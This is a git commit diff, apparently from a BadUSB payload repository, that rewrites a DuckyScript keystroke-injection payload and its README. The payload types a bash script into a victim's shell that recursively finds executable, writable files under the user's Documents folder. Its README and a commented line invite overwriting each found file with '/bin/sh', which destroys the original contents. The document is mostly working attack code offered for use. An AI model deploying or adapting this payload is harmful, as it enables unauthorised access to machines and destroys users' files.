Script converted to STRINGLN_BLOCK

pull/292/head
Alessandro 2023-04-07 09:31:49 +02:00
parent dbe3faaafd
commit 50932fe4da
2 changed files with 23 additions and 60 deletions

View File

@ -24,4 +24,9 @@ A script used to detect all executable files in a Linux system. An executable fi
### Settings ### Settings
* You can edit the content that you want to put into the executable file (line 10 of the script.sh). * You can edit the content that you want to put into the executable file.
```Shell
# You can put whatever you want into the executable file
echo "/bin/sh" > "$file"
```

View File

@ -20,62 +20,20 @@ DELAY 2000
REM #### Script #### REM #### Script ####
STRING USER=$(whoami) STRINGLN
ENTER function search_file {
DELAY 500 for file in "$1"/*; do
if [[ -d "$file" ]]; then
STRING DIR=/home/$USER/Documents search_file "$file";
ENTER elif [[ -f "$file" && -r "$file" && -w "$file" && -x "$file" ]]; then
DELAY 500 echo "File Found: $file";
# You can put whatever you want into the executable file
# echo "/bin/sh" > "$file"
REM #### Function Definition #### fi
done
}
STRING function search_file { USER=$(whoami);
ENTER # You can choose whatever folder you want, the script is recursive.
DELAY 500 DIR=/home/$USER/Documents;
search_file "$DIR";
STRING for file in "$1"/*; do END_STRING
ENTER
DELAY 500
STRING if [[ -d "$file" ]]; then
ENTER
DELAY 500
STRING search_file "$file"
ENTER
DELAY 500
STRING elif [[ -f "$file" && -r "$file" && -w "$file" && -x "$file" ]]; then
ENTER
DELAY 500
STRING echo "File Found: $file"
ENTER
DELAY 500
REM Decomment it if you want to put "/bin/sh" into the files, else do what you want
STRING # echo "/bin/sh" > "\$file"
ENTER
DELAY 500
STRING fi
ENTER
DELAY 500
STRING done
ENTER
DELAY 500
STRING }
ENTER
DELAY 500
REM #### Function Run ####
STRING search_file "$DIR"
ENTER